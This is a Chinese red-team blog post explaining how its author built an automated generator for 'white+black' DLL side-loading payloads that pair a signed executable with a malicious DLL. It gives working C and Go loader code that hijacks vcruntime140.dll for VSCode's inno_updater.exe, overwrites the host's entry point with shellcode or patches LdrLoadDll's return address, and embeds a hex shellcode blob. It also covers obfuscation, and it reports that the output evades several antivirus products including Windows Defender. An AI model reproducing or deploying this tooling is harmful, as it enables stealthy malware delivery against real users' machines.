Skip to content

红队开发 - 白加黑自动化生成器

字数
2898 字
阅读时间
13 分钟
更新日期
10/17/2021

参考一些APT组织的攻击手法,它们在投递木马阶段有时候会使用“白加黑”的方式,通常它们会使用一个带有签名的白文件+一个自定义dll文件,所以研究了一下这种白加黑的实现方式以及如何将它自动化生成。

想法

最早源于知识星球的一个想法,利用一些已知的dll劫持的程序作为”模板”,自动生成白加黑的程序。

image-20210825213931272

之后在看到了SigFlip的原理后 SigFlip使用和原理

有了这么一个想法,将shellcode写入到签名文件中的不被签名区域,黑dll的作用仅仅是读取白文件中的dll并执行。

同时制作几个白加黑的“模板”,可以根据不同的模板生成不同的白加黑样本。

概念图:

image-20211018001943010

DLL劫持方式

大部分dll劫持只是在dll层面做一层转发,这样投递的话,要将整个软件一起打包,不然程序会运行出错。

而一些APT组织使用的白加黑样本仅仅只需要一个白文件和一个dll,所以dll的劫持方式和通常使用的是不一样的。

简单来说,我们需要让dll加载起来执行命令的同时,阻止它执行原程序的命令,总结了一下,一共有两种类型的dll需要处理,一种dll是存在于白程序的输入表中,一种是白程序输入表中不存在dll,但是它通过LoadLibrary进行加载的dll。

Pre-Load Dll 劫持

如果dll在白程序的输入表中,我称这种为pre-load dll(我自己发明的词语)。因为输入表的dll会优先于白程序运行,所以在dll在初始化时,可以先获取shellcode,然后对白程序的入口点进行改写,改写为执行shellcode即可。

用Vscode的更新程序inno_updater.exe作为例子

image-20210825214458839

inno_updater.exe在运行时会带起vcruntime140.dll,所以它可以作为劫持的dll。

image-20210825214602577

根据它输入表dll的导出函数,我们自动生成一份对应的导出函数,导出函数不需要任何功能,只要函数名称和它对应上即可。

之后在dllmain里面获取主程序的入口点,然后将shellcode写入入口点,之后主程序运行就会执行我们的shellcode了。

C代码如下

c
int WINAPI DllMain(HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved)
{
        switch (fdwReason)
        {
        case DLL_PROCESS_ATTACH:
            hello_func();
            break;
        case DLL_PROCESS_DETACH:
            break; 
        }
        return TRUE;
}
void hello_func(){
    DWORD baseAddress = (DWORD)GetModuleHandleA(NULL);
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
    PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(baseAddress + dosHeader->e_lfanew);
    DWORD entryPoint = (DWORD)baseAddress + ntHeader->OptionalHeader.AddressOfEntryPoint;
    DWORD old;
    VirtualProtect(entryPoint, size, 0x40, &old);
    for(int i=0;i<size;i++){
        *((PBYTE)entryPoint+i) = shellcode[i];
    }
    VirtualProtect(entryPoint, size, old, &old);

Post-Load Dll劫持

dll在主程序导入表没有,而是程序通过LoadLibrary动态调用的,我称这类dll为post-load类型(我自己发明的词语)。

当程序使用LoadLibrary进行加载的时候,它的调用堆栈类似以下

KernelBase!LoadLibraryExW <- 要求动态模块加载
ntdll!LdrLoadDll
ntdll!LdrpLoadDll
ntdll!LdrpLoadDllInternal
ntdll!LdrpPrepareModuleForExecution
ntdll!LdrpInitializeGraphRecurse <- 建立依赖关系图
ntdll!LdrpInitializeNode
ntdll!LdrpCallInitRoutine
evil!DllMain <- 执行被传递给外部代码

所以此类dll劫持的,可以通过劫持ntdllLdrLoadDll堆栈的返回地址,让程序LoadLibrary之后跳到我们的程序空间。

C语言代码

c
char evilstring[10] = {0x90}; 
DWORD ldrLoadDll = (DWORD)GetProcAddress(GetModuleHandle("ntdll"), "LdrLoadDll");
DWORD* stack =evilstring+(int)evilstring%4;
while (1)
{
    stack++;
    if(stack > ldrLoadDll + 0x1000){
        printf("over\n");
        break;
    }
    if (*stack > ldrLoadDll && *stack < ldrLoadDll + 0x1000) {
        *stack = (DWORD)Memory;
        break;
    }
}

你可以使用内嵌汇编的方式获得堆栈地址,我使用C语言的一个特性,我申明了一个小的变量

char evilstring[10] = {0x90};

C语言会自动将它放到堆栈中,所以这个变量的地址即是堆栈的地址了。接着从堆栈向上寻找地址,如果发现地址和LdrLoadDll相差不多的话,就是我们寻找的LdrLoadDll的返回地址,hook它即可获得代码的执行权。

Golang与自动生成

我想用Golang编写劫持的dll,这样也方便可以做成在线平台。

C代码转换为Go

读取PE入口点用来写shellcode,用Windows API GetModuleHandle可以得到PE进程的内存地址,根据内存地址加减偏移就可以得到入口点。

我原本使用了github.com/Binject/debug/pe库,它里面有一个pe.NewFileFromMemory()函数,可以直接从内存中读取,但是它的参数是需要一个io类型,文件的io自身有很多api,但是对内存的io,资料好少。

最后找了很多资料,发现只能自己实现io的接口

go
type ReaderAt interface {
    ReadAt(p []byte, off int64) (n int, err error)
}

但问题来了,ReadAt接口要求我们自己读完了就返回io.EOF,我是从内存空间读的,我不知道什么时候读完。

就这么纠结了好久,虽然现在写的时候想到了,我可以实现这个ReadAt,长度我可以生成模板的时候硬写进去,但又感觉没必要,因为我根据PE的偏移写好了。

直接就不用它的库了,手动根据偏移去寻找入口点。

go
var (
    kernel32           = syscall.NewLazyDLL("kernel32.dll")
    getModuleHandle    = kernel32.NewProc("GetModuleHandleW")
    procVirtualProtect = kernel32.NewProc("VirtualProtect")
)
func GetModuleHandle() (handle uintptr) {
    ret, _, _ := getModuleHandle.Call(0)
    handle = ret
    return
}
// 将shellcode写入程序ep
func loader_from_ep(shellcode []byte) {
    baseAddress := GetModuleHandle()

    fmt.Println(strconv.FormatInt(int64(baseAddress), 16))
    // pe读dos header
    ptr := unsafe.Pointer(baseAddress + uintptr(0x3c))
    v := (*uint32)(ptr)
    ntHeaderOffset := *v
    //ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(0x4))
    //v2 := (*uint16)(ptr)
    // 这个可以读取PE的架构信息,最后发现入口点的偏移都是固定的

    // x32和x64通用
    ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(40))
    ep := (*uint32)(ptr)
    fmt.Println(ep, *ep)

    var entryPoint uintptr
    entryPoint = baseAddress + uintptr(*ep)

    var oldfperms uint32
    if !VirtualProtect(unsafe.Pointer(entryPoint), unsafe.Sizeof(uintptr(len(shellcode))), uint32(0x40), unsafe.Pointer(&oldfperms)) {
        panic("Call to VirtualProtect failed!")
    }

    WriteMemory(shellcode, entryPoint)

    if !VirtualProtect(unsafe.Pointer(entryPoint), uintptr(len(shellcode)), uint32(oldfperms), unsafe.Pointer(&oldfperms)) {
        panic("Call to VirtualProtect failed!")
    }
}

Go实现DllMain

DllMain是dll在创建或退出时的消息函数,要把shellcode写入PE的入口点,就必须在这里执行代码。但是Go里面没有这样相关的定义,搜索资料,有人说用init()函数可以,我试了下,init()函数执行是在代码运行的时候加载的,也就是pe运行了,执行到了相关导出函数的时候,会先执行init()代码,但是这个时候写shellcode到PE头部就已经没用了。

最后发现了怎么做,就是混编C和Go,而且比较麻烦。

dllmain.go

go
package main

//#include "dllmain.h"
import "C"

dllmain.h

c
#include <windows.h>

extern void test();

BOOL WINAPI DllMain(
    HINSTANCE _hinstDLL,  // handle to DLL module
    DWORD _fdwReason,     // reason for calling function
    LPVOID _lpReserved)   // reserved
{
    switch (_fdwReason) {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, 0, test, NULL, 0, NULL);
        break;
    case DLL_PROCESS_DETACH:
        // Perform any necessary cleanup.
        break;
    case DLL_THREAD_DETACH:
        // Do thread-specific cleanup.
        break;
    case DLL_THREAD_ATTACH:
        // Do thread-specific initialization.
        break;
    }
    return TRUE; // Successful.
}

main.go

go
package main

import "C"

import (
    "encoding/hex"
    "fmt"
    "strconv"
    "syscall"
    "unsafe"
)

const (
    MEM_COMMIT     = 0x00001000
    MEM_RESERVE    = 0x00002000
    MEM_RELEASE    = 0x8000
    PAGE_READWRITE = 0x04
)

var (
    kernel32           = syscall.NewLazyDLL("kernel32.dll")
    getModuleHandle    = kernel32.NewProc("GetModuleHandleW")
    procVirtualProtect = kernel32.NewProc("VirtualProtect")
)


//WriteMemory writes the provided memory to the specified memory address. Does **not** check permissions, may cause panic if memory is not writable etc.
func WriteMemory(inbuf []byte, destination uintptr) {
    for index := uint32(0); index < uint32(len(inbuf)); index++ {
        writePtr := unsafe.Pointer(destination + uintptr(index))
        v := (*byte)(writePtr)
        *v = inbuf[index]
    }
}
func GetModuleHandle() (handle uintptr) {
    ret, _, _ := getModuleHandle.Call(0)
    handle = ret
    return
}
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
    ret, _, _ := procVirtualProtect.Call(
        uintptr(lpAddress),
        uintptr(dwSize),
        uintptr(flNewProtect),
        uintptr(lpflOldProtect))
    return ret > 0
}

// 将shellcode写入程序ep
func loader_from_ep(shellcode []byte) {
    baseAddress := GetModuleHandle()
    ptr := unsafe.Pointer(baseAddress + uintptr(0x3c))
    v := (*uint32)(ptr)
    ntHeaderOffset := *v
    ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(40))
    ep := (*uint32)(ptr)

    var entryPoint uintptr
    entryPoint = baseAddress + uintptr(*ep)
    var oldfperms uint32
    if !VirtualProtect(unsafe.Pointer(entryPoint), unsafe.Sizeof(uintptr(len(shellcode))), uint32(0x40), unsafe.Pointer(&oldfperms)) {
        panic("Call to VirtualProtect failed!")
    }
    WriteMemory(shellcode, entryPoint)
    if !VirtualProtect(unsafe.Pointer(entryPoint), uintptr(len(shellcode)), uint32(oldfperms), unsafe.Pointer(&oldfperms)) {
        panic("Call to VirtualProtect failed!")
    }
}

//export _except_handler4_common
func _except_handler4_common() {}

//export memcmp
func memcmp() {}

//export memcpy
func memcpy() {}

//export memset
func memset() {}

//export memmove
func memmove() {}

//export test
func test() {
    shellcode, err := hex.DecodeString("fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c6300") // calc的shellcode
    if err != nil {
        panic(err)
    }
    loader_from_ep(shellcode)
}

func main() {
}

编译脚本 (Windows上)

set GOOS=windows
set GOARCH=386
set CGO_ENABLED=1
go build -ldflags "-s -w" -o vcruntime140.dll -buildmode=c-shared

Golang与死锁

在DllMain DLL_PROCESS_ATTACH的时候,我想调用go里面的test函数,我必须使用线程。。如果直接调用,不使用线程的话,它会一直卡住,用od调试,发现它卡在了死锁上。。

Go程序内部调用了wait

image-20210826222804510

用了CreateThread可以,但是这个时候它是先执行了入口点,而我们之前Pre-load的方式要求dll要在白程序之前执行。

我的解决方式是在白程序入口点写入死循环代码,同时启动一个线程执行go函数。

死循环的代码就随便发挥了

77C71B73    50              push eax
77C71B74    58              pop eax
77C71B75  ^ EB FC           jmp short 77C71B73

image-20210826143327893

消失的代码

有了之前被死锁的经验,post-load类型的dll我这样写的,用C代码搜索堆栈,如果找到了LdrLoadDll堆栈函数范围的地址则直接把堆栈地址修改成go函数的地址。

cgo中dllmain.h代码,因为测试了几次发现不行,加了个MessageBoxW代码方便调试。

c
#include <windows.h>

extern void test();

void dlljack2(){
    char evilstring[10] = { 0x90 };
    DWORD ldrLoadDll = (DWORD)GetProcAddress(GetModuleHandleA("ntdll"), "LdrLoadDll");
    DWORD* stack = (DWORD)evilstring + (DWORD)evilstring % 4;
    while (1)
    {
        stack++;
        if ((DWORD)stack > ldrLoadDll + 0x1000) {
            break;
        }
        if (*stack > ldrLoadDll && *stack < ldrLoadDll + 0x1000) {
            *stack = (DWORD)test;
            MessageBoxW(0,0,0,0);
            break;
        }
    }
}
BOOL WINAPI DllMain(
    HINSTANCE _hinstDLL,  // handle to DLL module
    DWORD _fdwReason,     // reason for calling function
    LPVOID _lpReserved)   // reserved
{
    switch (_fdwReason) {
    case DLL_PROCESS_ATTACH:
        MessageBoxW(0,0,0,0);
        dlljack2();
        break;
    case DLL_PROCESS_DETACH:
        // Perform any necessary cleanup.
        break;
    case DLL_THREAD_DETACH:
        // Do thread-specific cleanup.
        break;
    case DLL_THREAD_ATTACH:
        // Do thread-specific initialization.
        break;
    }
    return TRUE; // Successful.
}

测试了几次发现不行,于是我用ida看了下代码。

image-20210826220202614

*stack = (DWORD)test;

我的这行代码将test函数地址赋值给堆栈的代码竟然凭空消失了。

很百思不得其解,难道编译器不认识语法将代码给优化了?顺着这个思路,我换成用memcpy进行内存赋值,代码也没出现。

最后加上一个printf,代码就出现了。。

image-20210827135907149

自动化生成器

前面核心的内容跑通了,后面自动化生成就是理所当然的,这方面没什么困难的,就是注意一下加一些对抗的东西,比如生成的源码里面的字符串全部加密,用于加解密shellcode的key全部随机化生成。将源码一起打包,并告诉编译方式,这样即使生成的dll被杀了也没关系,自己改改又可以继续了。

一些核心功能:

  • 收集一些白加黑文件,制作成模板
  • 解析白文件pe,将shellcode写入证书目录
  • 根据模板来生成劫持dll
  • go-strip进行符号混淆
  • docker环境进行交叉编译
  • 自动调用go命令进行编译
  • 自动打包成zip

生成的文件会包含:

  • 成品的白加黑文件
  • 用于dll劫持的go源码文件,方便自行进行一些处理
  • readme说明文件,说明了每个文件的作用以及编译方法

image-20211018011030960

杀毒测试

测试了国内的几个都不杀,卡巴静态也能过,windows defender 也不杀也能正常上线。

并且白进程会一直驻留。

image-20210826152333481

最后

demo地址:https://i.hacking8.com/dll-hijack

撰写

布局切换

调整 VitePress 的布局样式,以适配不同的阅读习惯和屏幕环境。

全部展开
使侧边栏和内容区域占据整个屏幕的全部宽度。
全部展开,但侧边栏宽度可调
侧边栏宽度可调,但内容区域宽度不变,调整后的侧边栏将可以占据整个屏幕的最大宽度。
全部展开,且侧边栏和内容区域宽度均可调
侧边栏宽度可调,但内容区域宽度不变,调整后的侧边栏将可以占据整个屏幕的最大宽度。
原始宽度
原始的 VitePress 默认布局宽度

页面最大宽度

调整 VitePress 布局中页面的宽度,以适配不同的阅读习惯和屏幕环境。

调整页面最大宽度
一个可调整的滑块,用于选择和自定义页面最大宽度。

内容最大宽度

调整 VitePress 布局中内容区域的宽度,以适配不同的阅读习惯和屏幕环境。

调整内容最大宽度
一个可调整的滑块,用于选择和自定义内容最大宽度。

聚光灯

支持在正文中高亮当前鼠标悬停的行和元素,以优化阅读和专注困难的用户的阅读体验。

ON开启
开启聚光灯。
OFF关闭
关闭聚光灯。

聚光灯样式

调整聚光灯的样式。

置于底部
在当前鼠标悬停的元素下方添加一个纯色背景以突出显示当前鼠标悬停的位置。
置于侧边
在当前鼠标悬停的元素旁边添加一条固定的纯色线以突出显示当前鼠标悬停的位置。